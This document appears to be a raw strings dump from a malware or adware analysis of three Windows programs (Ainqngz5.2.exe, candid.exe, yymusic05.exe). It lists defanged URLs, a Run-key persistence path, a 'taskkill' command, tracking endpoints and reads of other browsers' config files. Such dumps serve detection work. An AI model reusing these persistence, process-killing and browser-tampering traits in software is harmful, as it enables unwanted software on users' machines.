Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.
Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else..An unexpected error occurred while reading %1..An unexpected error occurred while writing %1.
Access to %1 was denied..An invalid file handle was associated with %1.
Access to %1 was denied..An invalid file handle was associated with %1.
Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.
Seek failed on A hardware I/O error was reported while accessing %1.0A sharing violation occurred while accessing %1.0A locking violation occurred while accessing %1.
Disk full while accessing %1..An attempt was made to access %1 past its end.
Disk full while accessing %1..An attempt was made to access %1 past its end.
No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.
No error occurred.-An unknown error occurred while accessing %1./An attempt was made to write to the reading %1..An attempt was made to access %1 past its end.0An attempt was made to read from the writing %1.
#Unable to load mail system support.
#Unable to load mail system support.
Ainqngz5.2.exe_504:
.text
.text
`.data
`.data
.rsrc
.rsrc
MSVBVM60.DLL
MSVBVM60.DLL
"44)*612
"44)*612
urlww
urlww
.FlGc
.FlGc
%smzCz
%smzCz
SHDocVwCtl.WebBrowser
SHDocVwCtl.WebBrowser
#vb6chs.dll
#vb6chs.dll
ieframe.dll
ieframe.dll
WebBrowser
WebBrowser
%Program Files%\VB
%Program Files%\VB
\VB6.OLB
\VB6.OLB
C:\Windows\System32\mshtml.tlb
C:\Windows\System32\mshtml.tlb
winmm.dll
winmm.dll
C:\Windows\System32\ieframe.oca
C:\Windows\System32\ieframe.oca
advapi32.dll
advapi32.dll
RegCloseKey
RegCloseKey
RegCreateKeyA
RegCreateKeyA
RegOpenKeyA
RegOpenKeyA
wininet.dll
wininet.dll
InternetOpenUrlA
InternetOpenUrlA
GetUrlSource
GetUrlSource
VBA6.DLL
VBA6.DLL
sUrl
sUrl
v.baofeng.com
v.baofeng.com
99999999999
99999999999
hXXp://order.5bo.com/
hXXp://order.5bo.com/
hXXp://wpa.qq.com
hXXp://wpa.qq.com
hXXp://VVV.baidu.com/
hXXp://VVV.baidu.com/
hXXp://hzf.v.baofeng.com/#
hXXp://hzf.v.baofeng.com/#
hXXp://hzf.v.baofeng.com/
hXXp://hzf.v.baofeng.com/
"url":"
"url":"
"swfurl":"
"swfurl":"
hXXp://
hXXp://
hXXp://tv.aiqingzhihui.com/zhibo2.html?id=
hXXp://tv.aiqingzhihui.com/zhibo2.html?id=
\setings.ini
\setings.ini
candid.exe
candid.exe
cmd.exe /c taskkill /im
cmd.exe /c taskkill /im
qq.com
qq.com
hXXp://tv.aiqingzhihui.com/zhibo2.html
hXXp://tv.aiqingzhihui.com/zhibo2.html
hXXp://y.qq.com/player
hXXp://y.qq.com/player
pptv.com
pptv.com
sohu.com
sohu.com
56.com
56.com
ifeng.com
ifeng.com
youku.com
youku.com
ku6.com
ku6.com
tudou.com
tudou.com
cntv.cn
cntv.cn
iqiyi.com
iqiyi.com
wasu.cn
wasu.cn
pps.tv
pps.tv
letv.com
letv.com
imgo.tv
imgo.tv
kankan.com
kankan.com
sina.com.cn
sina.com.cn
m1905.com
m1905.com
hz.letv.com
hz.letv.com
tv.sohu.com
tv.sohu.com
baofeng.com
baofeng.com
Ainqngz4.7.exe
Ainqngz4.7.exe
candid.exe_600:
.text
.text
`.data
`.data
.rsrc
.rsrc
MSVBVM60.DLL
MSVBVM60.DLL
[11
[11
[:>
[:>
y%D:To
y%D:To
SHDocVwCtl.WebBrowser
SHDocVwCtl.WebBrowser
#vb6chs.dll
#vb6chs.dll
ieframe.dll
ieframe.dll
WebBrowser
WebBrowser
%Program Files%\VB
%Program Files%\VB
\VB6.OLB
\VB6.OLB
]! 2C:\Windows\System32\ieframe.oca
]! 2C:\Windows\System32\ieframe.oca
C:\Windows\System32\mshtml.tlb
C:\Windows\System32\mshtml.tlb
winmm.dll
winmm.dll
VBA6.DLL
VBA6.DLL
RegCreateKeyA
RegCreateKeyA
advapi32.dll
advapi32.dll
RegCloseKey
RegCloseKey
RegOpenKeyA
RegOpenKeyA
wininet.dll
wininet.dll
InternetOpenUrlA
InternetOpenUrlA
GetUrlSource
GetUrlSource
C:\Windows\system32\msvbvm60.dll\3
C:\Windows\system32\msvbvm60.dll\3
NotifyMsgBox
NotifyMsgBox
user32.dll
user32.dll
oleaut32.dll
oleaut32.dll
kernel32.dll
kernel32.dll
WebBrowser2
WebBrowser2
WebBrowser1
WebBrowser1
0123210
0123210
)o4.tr
)o4.tr
sUrl
sUrl
\Ainqngz5.2.exe
\Ainqngz5.2.exe
\setings.ini
\setings.ini
\Ainqngz4.0.exe
\Ainqngz4.0.exe
hXXp://aimini.aiqingzhihui.com/ta2/?flag=
hXXp://aimini.aiqingzhihui.com/ta2/?flag=
hXXp://aimini.aiqingzhihui.com/ta3/?flag=
hXXp://aimini.aiqingzhihui.com/ta3/?flag=
hXXp://aitime.aiqingzhihui.com/newh1/?
hXXp://aitime.aiqingzhihui.com/newh1/?
hXXp://aitime.aiqingzhihui.com/newh2/?2
hXXp://aitime.aiqingzhihui.com/newh2/?2
hXXp://aitime.aiqingzhihui.com/newh3/?3
hXXp://aitime.aiqingzhihui.com/newh3/?3
hXXp://aimini.aiqingzhihui.com/new/?
hXXp://aimini.aiqingzhihui.com/new/?
hXXp://aimini.aiqingzhihui.com/new/?2
hXXp://aimini.aiqingzhihui.com/new/?2
hXXp://aimini.aiqingzhihui.com/ta1/?flag=
hXXp://aimini.aiqingzhihui.com/ta1/?flag=
Ainqngz5.2.exe
Ainqngz5.2.exe
C:\\Program Files\\Internet Explorer\\IEXPLORE.exe
C:\\Program Files\\Internet Explorer\\IEXPLORE.exe
cmd.exe /c taskkill /im
cmd.exe /c taskkill /im
hXXp://aimini.aiqingzhihui.com/new/?flag=
hXXp://aimini.aiqingzhihui.com/new/?flag=
hXXp://aitime.aiqingzhihui.com/dnewh1/?flag=
hXXp://aitime.aiqingzhihui.com/dnewh1/?flag=
hXXp://aitime.aiqingzhihui.com/dnewh2/?flag=
hXXp://aitime.aiqingzhihui.com/dnewh2/?flag=
hXXp://aitime.aiqingzhihui.com/dnewh3/?flag=
hXXp://aitime.aiqingzhihui.com/dnewh3/?flag=
hXXp://aitime.aiqingzhihui.com/newh1/?flag=
hXXp://aitime.aiqingzhihui.com/newh1/?flag=
hXXp://aitime.aiqingzhihui.com/newh2/?flag=
hXXp://aitime.aiqingzhihui.com/newh2/?flag=
hXXp://aitime.aiqingzhihui.com/newh3/?flag=
hXXp://aitime.aiqingzhihui.com/newh3/?flag=
hXXp:///
hXXp:///
kinetic.exe
kinetic.exe
yymusic05.exe_3356:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.reloc
@.reloc
u.jAh
u.jAh
t.HuZ
t.HuZ
xSSSh
xSSSh
FTPjKS
FTPjKS
FtPj;S
FtPj;S
C.PjRV
C.PjRV
Visual C CRT: Not enough memory to complete call to strerror.
Visual C CRT: Not enough memory to complete call to strerror.
GetProcessWindowStation
GetProcessWindowStation
portuguese-brazilian
portuguese-brazilian
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
operator
operator
windows936
windows936
windows932
windows932
windows874
windows874
windows1257
windows1257
windows1256
windows1256
windows1255
windows1255
windows1254
windows1254
windows1253
windows1253
windows1252
windows1252
windows1251
windows1251
windows1250
windows1250
Invalid or unsupported charset:
Invalid or unsupported charset:
%sData\user2.ini
%sData\user2.ini
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\CurrentVersion\Uninstall\{06F57725-D702-43A9-A8D4-40BB36C9B07F}
Software\Microsoft\Windows\CurrentVersion\Uninstall\{06F57725-D702-43A9-A8D4-40BB36C9B07F}
Unins.exe
Unins.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
hXXp://update.bianya.cc/stj.ashx
hXXp://update.bianya.cc/stj.ashx
AutoRunTipFrame.xml
AutoRunTipFrame.xml
FrmColor.xml
FrmColor.xml
\SysConfig.ini
\SysConfig.ini
FrmConfig.xml
FrmConfig.xml
Data\dh.ini
Data\dh.ini
ShowHideWindowKey
ShowHideWindowKey
ExitWindowKey
ExitWindowKey
tab_hotkey
tab_hotkey
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Run
BoxNews.exe
BoxNews.exe
"%s%s" -mini
"%s%s" -mini
"%s" -mini
"%s" -mini
%s\%s
%s\%s
favorfm.xml
favorfm.xml
channels.xml
channels.xml
E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/ptree_implementation.hpp
E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/ptree_implementation.hpp
E:\zhuyicheng\boost_1_53_0\boost/property_tree/xml_parser.hpp
E:\zhuyicheng\boost_1_53_0\boost/property_tree/xml_parser.hpp
E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/xml_parser_read_rapidxml.hpp
E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/xml_parser_read_rapidxml.hpp
E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/xml_parser_write.hpp
E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/xml_parser_write.hpp
E:\zhuyicheng\boost_1_53_0\boost/property_tree/string_path.hpp
E:\zhuyicheng\boost_1_53_0\boost/property_tree/string_path.hpp
FrmFeedBack.xml
FrmFeedBack.xml
hXXp://tongji.yinyue.fm/feedback/b.html
hXXp://tongji.yinyue.fm/feedback/b.html
Data/setup.ini
Data/setup.ini
FrmHotKeyTip.xml
FrmHotKeyTip.xml
HotKeyTipFrame
HotKeyTipFrame
hotkey
hotkey
d:d:d
d:d:d
FrmLrcChild.xml
FrmLrcChild.xml
FrmLrc.xml
FrmLrc.xml
Source Files\LrcFrame.cpp
Source Files\LrcFrame.cpp
BtnLogin
BtnLogin
yymusic05.exe
yymusic05.exe
hXXp://VVV.hao123.com/?tn=98868055_hao_pg
hXXp://VVV.hao123.com/?tn=98868055_hao_pg
hXXp://update.yinyue.fm/goUrl.html?
hXXp://update.yinyue.fm/goUrl.html?
Skin.rs
Skin.rs
Skin\mainframeshadow.png
Skin\mainframeshadow.png
hXXp://update.yinyue.fm/tj.ashx
hXXp://update.yinyue.fm/tj.ashx
Skin\progresstooltip.png
Skin\progresstooltip.png
__HotKeyTipWindow
__HotKeyTipWindow
__HotKeyTipClass
__HotKeyTipClass
Skin\hotkeytipbk.png
Skin\hotkeytipbk.png
adb.exe
adb.exe
aapt.exe
aapt.exe
apnews.exe
apnews.exe
FrmPlayer.xml
FrmPlayer.xml
60,8,100,118
60,8,100,118
60,24,100,134
60,24,100,134
Source Files\MainFrame.cpp
Source Files\MainFrame.cpp
file='suspensiontopa.png'
file='suspensiontopa.png'
file='suspensiontop.png'
file='suspensiontop.png'
file='suspensiontopahover.png'
file='suspensiontopahover.png'
file='btn-play.png' source='0,0,64,64'
file='btn-play.png' source='0,0,64,64'
file='btn-play.png' source='0,64,64,128'
file='btn-play.png' source='0,64,64,128'
file='btn-play.png' source='0,128,64,192'
file='btn-play.png' source='0,128,64,192'
file='lyrictoplay.png'
file='lyrictoplay.png'
pl_play.png
pl_play.png
file='btn-pause.png' source='0,0,64,64'
file='btn-pause.png' source='0,0,64,64'
file='btn-pause.png' source='0,64,64,128'
file='btn-pause.png' source='0,64,64,128'
file='btn-pause.png' source='0,128,64,192'
file='btn-pause.png' source='0,128,64,192'
file='play0520.png' source='0,0,35,20'
file='play0520.png' source='0,0,35,20'
file='play0520.png' source='0,20,35,40'
file='play0520.png' source='0,20,35,40'
file='play0520.png' source='0,40,35,59'
file='play0520.png' source='0,40,35,59'
pl_pause.png
pl_pause.png
file='loading0%d.png'
file='loading0%d.png'
-d:d:d
-d:d:d
-d:d
-d:d
file='play0520.png' source='0,0,35,20'
file='play0520.png' source='0,0,35,20'
file='play0520.png' source='0,20,35,40'
file='play0520.png' source='0,20,35,40'
file='play0520.png' source='0,40,35,59'
file='play0520.png' source='0,40,35,59'
file='bk.png'
file='bk.png'
lyriclikea2.png
lyriclikea2.png
lyriclike.png
lyriclike.png
lyriclikea.png
lyriclikea.png
MessageBox.xml
MessageBox.xml
Source Files\MusicPlayer.cpp
Source Files\MusicPlayer.cpp
hXXp://update.yinyue.fm/
hXXp://update.yinyue.fm/
(3-!0,1'8"5.*2$
(3-!0,1'8"5.*2$
Data\server.ini
Data\server.ini
Data\Version.ini
Data\Version.ini
appupdate/ver.txt
appupdate/ver.txt
PlayerUpdate.exe
PlayerUpdate.exe
FrmPlayList.xml
FrmPlayList.xml
FrmPopWnd.xml
FrmPopWnd.xml
WebBrowserEx
WebBrowserEx
hXXp://update.yinyue.fm/url.txt
hXXp://update.yinyue.fm/url.txt
FrmProgressToolTip.xml
FrmProgressToolTip.xml
%d:d
%d:d
hXXp://tongji.yinyue.fm/
hXXp://tongji.yinyue.fm/
a.ashx
a.ashx
00:00:00:00:00:00
00:00:00:00:00:00
%d-%d-%d %d:%d:%d
%d-%d-%d %d:%d:%d
icon/ccjs.ico
icon/ccjs.ico
icon/ie.ico
icon/ie.ico
Internet Explorer YyfmPlay.lnk
Internet Explorer YyfmPlay.lnk
icon\gouwu.ico
icon\gouwu.ico
hXXp://update.yinyue.fm//dh.txt
hXXp://update.yinyue.fm//dh.txt
icon\ccjs.ico
icon\ccjs.ico
icon\ie.ico
icon\ie.ico
X:X:X:X:X:X
X:X:X:X:X:X
//./%s
//./%s
Data/version.ini
Data/version.ini
2000-01-01
2000-01-01
2000-01-01 00:00:00
2000-01-01 00:00:00
Data/client.ini
Data/client.ini
Data/dh.ini
Data/dh.ini
Software\Microsoft\Windows NT\CurrentVersion
Software\Microsoft\Windows NT\CurrentVersion
Data/user2.ini
Data/user2.ini
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TheWorld.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TheWorld.exe
\TheWorld.ini
\TheWorld.ini
\Baidu\browser\config.ini
\Baidu\browser\config.ini
\SogouExplorer\config.xml
\SogouExplorer\config.xml
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Maxthon2
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Maxthon2
SharedAccount\Config\Config.ini
SharedAccount\Config\Config.ini
SetTipFrame.xml
SetTipFrame.xml
FrmSetWindowLrcFrame.xml
FrmSetWindowLrcFrame.xml
Source Files\SetWindowLrcFrame.cpp
Source Files\SetWindowLrcFrame.cpp
FrmSystemMenuFrame.xml
FrmSystemMenuFrame.xml
event_edit_keydown_eshowhide
event_edit_keydown_eshowhide
event_edit_keydown_eexit
event_edit_keydown_eexit
file='list_play.png' dest='6,6,24,24'
file='list_play.png' dest='6,6,24,24'
file='list_pause.png' dest='6,6,24,24'
file='list_pause.png' dest='6,6,24,24'
2-0-0|1-0-0
2-0-0|1-0-0
1-0-0|1-0-0
1-0-0|1-0-0
3-0-0|1-0-0
3-0-0|1-0-0
4-0-0|1-0-0
4-0-0|1-0-0
5-0-0|1-0-0
5-0-0|1-0-0
6-0-0|1-0-0
6-0-0|1-0-0
list_item.xml
list_item.xml
operation
operation
frmWindowLrc.xml
frmWindowLrc.xml
frmWindowLrcParent.xml
frmWindowLrcParent.xml
hXXp://VVV.9ku.com/lrc2/
hXXp://VVV.9ku.com/lrc2/
hXXp://VVV.9ku.com/fm/
hXXp://VVV.9ku.com/fm/
hXXp://img.9ku.com
hXXp://img.9ku.com
hXXp://mp3.9ku.com
hXXp://mp3.9ku.com
E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/json_parser_read.hpp
E:\zhuyicheng\boost_1_53_0\boost/property_tree/detail/json_parser_read.hpp
hXXp://player.kuwo.cn/webmusic/st/getMuiseDate?flag=3&r=&pd=
hXXp://player.kuwo.cn/webmusic/st/getMuiseDate?flag=3&r=&pd=
hXXp://fm.baidu.com/dev/api/?tn=playlist&id=
hXXp://fm.baidu.com/dev/api/?tn=playlist&id=
hXXp://music.baidu.com/data/music/fmlink?type=mp3&rate=320&songIds=
hXXp://music.baidu.com/data/music/fmlink?type=mp3&rate=320&songIds=
hXXp://fm.baidu.com
hXXp://fm.baidu.com
hXXp://pan.baidu.com
hXXp://pan.baidu.com
hXXp://live.hkuradio.com/radio2?download=1
hXXp://live.hkuradio.com/radio2?download=1
hXXp://imgs.diantai.ifeng.com/images/channelimg/update_uradio_new_yy.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/update_uradio_new_yy.png
hXXp://live.hkuradio.com/radio1?download=1
hXXp://live.hkuradio.com/radio1?download=1
hXXp://imgs.diantai.ifeng.com/images/channelimg/update_uradio_new_zh.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/update_uradio_new_zh.png
hXXp://live.3gv.ifeng.com/live/zhongwen?fmt=mp3_32k_mp3
hXXp://live.3gv.ifeng.com/live/zhongwen?fmt=mp3_32k_mp3
hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_zwt_new.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_zwt_new.png
hXXp://live.3gv.ifeng.com/live/zixun?fmt=mp3_32k_mp3
hXXp://live.3gv.ifeng.com/live/zixun?fmt=mp3_32k_mp3
hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_zxt_new.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_zxt_new.png
hXXp://live.3gv.ifeng.com/live/hongkong?fmt=mp3_32k_mp3
hXXp://live.3gv.ifeng.com/live/hongkong?fmt=mp3_32k_mp3
hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_xgt_new.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/ifeng_xgt_new.png
hXXp://moblive.rbc.cn/fm876.mp3
hXXp://moblive.rbc.cn/fm876.mp3
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_wy_new.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_wy_new.png
hXXp://moblive.rbc.cn/fm1039.mp3
hXXp://moblive.rbc.cn/fm1039.mp3
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgjt_new.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgjt_new.png
hXXp://moblive.rbc.cn/fm1006.mp3
hXXp://moblive.rbc.cn/fm1006.mp3
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_xw_new.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_xw_new.png
hXXp://moblive.rbc.cn/am603.mp3
hXXp://moblive.rbc.cn/am603.mp3
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bggs_new.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bggs_new.png
hXXp://moblive.rbc.cn/fm1025.mp3
hXXp://moblive.rbc.cn/fm1025.mp3
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgty_new.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgty_new.png
hXXp://moblive.rbc.cn/am774.mp3
hXXp://moblive.rbc.cn/am774.mp3
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgwy_new.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgwy_new.png
hXXp://moblive.rbc.cn/am927.mp3
hXXp://moblive.rbc.cn/am927.mp3
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgaj_new.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgaj_new.png
hXXp://moblive.rbc.cn/fm1073.mp3
hXXp://moblive.rbc.cn/fm1073.mp3
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgcsfw_new.png
hXXp://imgs.diantai.ifeng.com/images/channelimg/bg_bgcsfw_new.png
hXXp://VVV.xiami.com/radio/play/type/6/oid/0
hXXp://VVV.xiami.com/radio/play/type/6/oid/0
libfm::fm_douban_impl::login
libfm::fm_douban_impl::login
hXXp://VVV.douban.com/j/app/login
hXXp://VVV.douban.com/j/app/login
&password=
&password=
hXXp://VVV.douban.com/j/app/radio/people?app_name=radio_desktop_win&version=100&user_id=
hXXp://VVV.douban.com/j/app/radio/people?app_name=radio_desktop_win&version=100&user_id=
hXXp://VVV.douban.com/j/app/radio/people?app_name=radio_desktop_win&version=100&type=
hXXp://VVV.douban.com/j/app/radio/people?app_name=radio_desktop_win&version=100&type=
hXXp://shopcgi.qqmusic.qq.com/fcgi-bin/shopsearch.fcg?out=json&value=
hXXp://shopcgi.qqmusic.qq.com/fcgi-bin/shopsearch.fcg?out=json&value=
"msg":
"msg":
_0.jpg
_0.jpg
hXXp://imgcache.qq.com/music/photo/album/
hXXp://imgcache.qq.com/music/photo/album/
hXXp://music.qq.com/miniportal/static/lyric/
hXXp://music.qq.com/miniportal/static/lyric/
libfm::fm_impl::get_song_url
libfm::fm_impl::get_song_url
libfm::fm_impl::login
libfm::fm_impl::login
WinExec
WinExec
KERNEL32.dll
KERNEL32.dll
GetAsyncKeyState
GetAsyncKeyState
RegisterHotKey
RegisterHotKey
UnregisterHotKey
UnregisterHotKey
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
RegDeleteKeyA
RegDeleteKeyA
RegCreateKeyExA
RegCreateKeyExA
RegOpenKeyExA
RegOpenKeyExA
RegOpenKeyA
RegOpenKeyA
RegCloseKey
RegCloseKey
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
avcore.dll
avcore.dll
HttpQueryInfoA
HttpQueryInfoA
InternetOpenUrlA
InternetOpenUrlA
WININET.dll
WININET.dll
SHLWAPI.dll
SHLWAPI.dll
gdiplus.dll
gdiplus.dll
?OnKeyDown@WindowImplBase@DuiLib@@UAEJIIJAAH@Z
?OnKeyDown@WindowImplBase@DuiLib@@UAEJIIJAAH@Z
?GetMessageMap@WindowImplBase@DuiLib@@MBEPBUDUI_MSGMAP@2@XZ
?GetMessageMap@WindowImplBase@DuiLib@@MBEPBUDUI_MSGMAP@2@XZ
?SetAutoNavigation@CWebBrowserUI@DuiLib@@QAEX_N@Z
?SetAutoNavigation@CWebBrowserUI@DuiLib@@QAEX_N@Z
?SetHomePage@CWebBrowserUI@DuiLib@@QAEXPBD@Z
?SetHomePage@CWebBrowserUI@DuiLib@@QAEXPBD@Z
?Download@CWebBrowserUI@DuiLib@@UAGJPAUIMoniker@@PAUIBindCtx@@KJPAU_tagBINDINFO@@PB_W3I@Z
?Download@CWebBrowserUI@DuiLib@@UAGJPAUIMoniker@@PAUIBindCtx@@KJPAU_tagBINDINFO@@PB_W3I@Z
?Exec@CWebBrowserUI@DuiLib@@UAGJPBU_GUID@@KKPAUtagVARIANT@@1@Z
?Exec@CWebBrowserUI@DuiLib@@UAGJPBU_GUID@@KKPAUtagVARIANT@@1@Z
?QueryStatus@CWebBrowserUI@DuiLib@@UAGJPBU_GUID@@KQAU_tagOLECMD@@PAU_tagOLECMDTEXT@@@Z
?QueryStatus@CWebBrowserUI@DuiLib@@UAGJPBU_GUID@@KQAU_tagOLECMD@@PAU_tagOLECMDTEXT@@@Z
?QueryService@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@0PAPAX@Z
?QueryService@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@0PAPAX@Z
?FilterDataObject@CWebBrowserUI@DuiLib@@UAGJPAUIDataObject@@PAPAU3@@Z
?FilterDataObject@CWebBrowserUI@DuiLib@@UAGJPAUIDataObject@@PAPAU3@@Z
?TranslateUrl@CWebBrowserUI@DuiLib@@UAGJKPA_WPAPA_W@Z
?TranslateUrl@CWebBrowserUI@DuiLib@@UAGJKPA_WPAPA_W@Z
?GetDropTarget@CWebBrowserUI@DuiLib@@UAGJPAUIDropTarget@@PAPAU3@@Z
?GetDropTarget@CWebBrowserUI@DuiLib@@UAGJPAUIDropTarget@@PAPAU3@@Z
?GetOptionKeyPath@CWebBrowserUI@DuiLib@@UAGJPAPA_WK@Z
?GetOptionKeyPath@CWebBrowserUI@DuiLib@@UAGJPAPA_WK@Z
?TranslateAcceleratorA@CWebBrowserUI@DuiLib@@UAGJPAUtagMSG@@PBU_GUID@@K@Z
?TranslateAcceleratorA@CWebBrowserUI@DuiLib@@UAGJPAUtagMSG@@PBU_GUID@@K@Z
?TranslateAcceleratorA@CWebBrowserUI@DuiLib@@UAEJPAUtagMSG@@@Z
?TranslateAcceleratorA@CWebBrowserUI@DuiLib@@UAEJPAUtagMSG@@@Z
?ResizeBorder@CWebBrowserUI@DuiLib@@UAGJPBUtagRECT@@PAUIOleInPlaceUIWindow@@H@Z
?ResizeBorder@CWebBrowserUI@DuiLib@@UAGJPBUtagRECT@@PAUIOleInPlaceUIWindow@@H@Z
?OnFrameWindowActivate@CWebBrowserUI@DuiLib@@UAGJH@Z
?OnFrameWindowActivate@CWebBrowserUI@DuiLib@@UAGJH@Z
?OnDocWindowActivate@CWebBrowserUI@DuiLib@@UAGJH@Z
?OnDocWindowActivate@CWebBrowserUI@DuiLib@@UAGJH@Z
?EnableModeless@CWebBrowserUI@DuiLib@@UAGJH@Z
?EnableModeless@CWebBrowserUI@DuiLib@@UAGJH@Z
?UpdateUI@CWebBrowserUI@DuiLib@@UAGJXZ
?UpdateUI@CWebBrowserUI@DuiLib@@UAGJXZ
?HideUI@CWebBrowserUI@DuiLib@@UAGJXZ
?HideUI@CWebBrowserUI@DuiLib@@UAGJXZ
?ShowUI@CWebBrowserUI@DuiLib@@UAGJKPAUIOleInPlaceActiveObject@@PAUIOleCommandTarget@@PAUIOleInPlaceFrame@@PAUIOleInPlaceUIWindow@@@Z
?ShowUI@CWebBrowserUI@DuiLib@@UAGJKPAUIOleInPlaceActiveObject@@PAUIOleCommandTarget@@PAUIOleInPlaceFrame@@PAUIOleInPlaceUIWindow@@@Z
?GetHostInfo@CWebBrowserUI@DuiLib@@UAGJPAU_DOCHOSTUIINFO@@@Z
?GetHostInfo@CWebBrowserUI@DuiLib@@UAGJPAU_DOCHOSTUIINFO@@@Z
?ShowContextMenu@CWebBrowserUI@DuiLib@@UAGJKPAUtagPOINT@@PAUIUnknown@@PAUIDispatch@@@Z
?ShowContextMenu@CWebBrowserUI@DuiLib@@UAGJKPAUtagPOINT@@PAUIUnknown@@PAUIDispatch@@@Z
?Invoke@CWebBrowserUI@DuiLib@@UAGJJABU_GUID@@KGPAUtagDISPPARAMS@@PAUtagVARIANT@@PAUtagEXCEPINFO@@PAI@Z
?Invoke@CWebBrowserUI@DuiLib@@UAGJJABU_GUID@@KGPAUtagDISPPARAMS@@PAUtagVARIANT@@PAUtagEXCEPINFO@@PAI@Z
?GetIDsOfNames@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@PAPA_WIKPAJ@Z
?GetIDsOfNames@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@PAPA_WIKPAJ@Z
?GetTypeInfo@CWebBrowserUI@DuiLib@@UAGJIKPAPAUITypeInfo@@@Z
?GetTypeInfo@CWebBrowserUI@DuiLib@@UAGJIKPAPAUITypeInfo@@@Z
?GetTypeInfoCount@CWebBrowserUI@DuiLib@@UAGJPAI@Z
?GetTypeInfoCount@CWebBrowserUI@DuiLib@@UAGJPAI@Z
?QueryInterface@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@PAPAX@Z
?QueryInterface@CWebBrowserUI@DuiLib@@UAGJABU_GUID@@PAPAX@Z
?Release@CWebBrowserUI@DuiLib@@UAGKXZ
?Release@CWebBrowserUI@DuiLib@@UAGKXZ
?AddRef@CWebBrowserUI@DuiLib@@UAGKXZ
?AddRef@CWebBrowserUI@DuiLib@@UAGKXZ
?GetInterface@CWebBrowserUI@DuiLib@@UAEPAXPBD@Z
?GetInterface@CWebBrowserUI@DuiLib@@UAEPAXPBD@Z
?GetClass@CWebBrowserUI@DuiLib@@UBEPBDXZ
?GetClass@CWebBrowserUI@DuiLib@@UBEPBDXZ
??1CWebBrowserUI@DuiLib@@UAE@XZ
??1CWebBrowserUI@DuiLib@@UAE@XZ
??0CWebBrowserUI@DuiLib@@QAE@XZ
??0CWebBrowserUI@DuiLib@@QAE@XZ
?SetKeyboardEnabled@CControlUI@DuiLib@@UAEX_N@Z
?SetKeyboardEnabled@CControlUI@DuiLib@@UAEX_N@Z
?IsKeyboardEnabled@CControlUI@DuiLib@@UBE_NXZ
?IsKeyboardEnabled@CControlUI@DuiLib@@UBE_NXZ
?Navigate2@CWebBrowserUI@DuiLib@@QAEXPBD@Z
?Navigate2@CWebBrowserUI@DuiLib@@QAEXPBD@Z
DuiLib.dll
DuiLib.dll
PSAPI.DLL
PSAPI.DLL
IPHLPAPI.DLL
IPHLPAPI.DLL
NETAPI32.dll
NETAPI32.dll
GetCPInfo
GetCPInfo
GetProcessHeap
GetProcessHeap
zcÃ
zcÃ
.?AVCWebBrowserUI@DuiLib@@
.?AVCWebBrowserUI@DuiLib@@
.?AVCHotKeyTipFrameWnd@@
.?AVCHotKeyTipFrameWnd@@
.?AVCWebBrowserUIEx@@
.?AVCWebBrowserUIEx@@
.?AVWebBrowserEventSinker@@
.?AVWebBrowserEventSinker@@
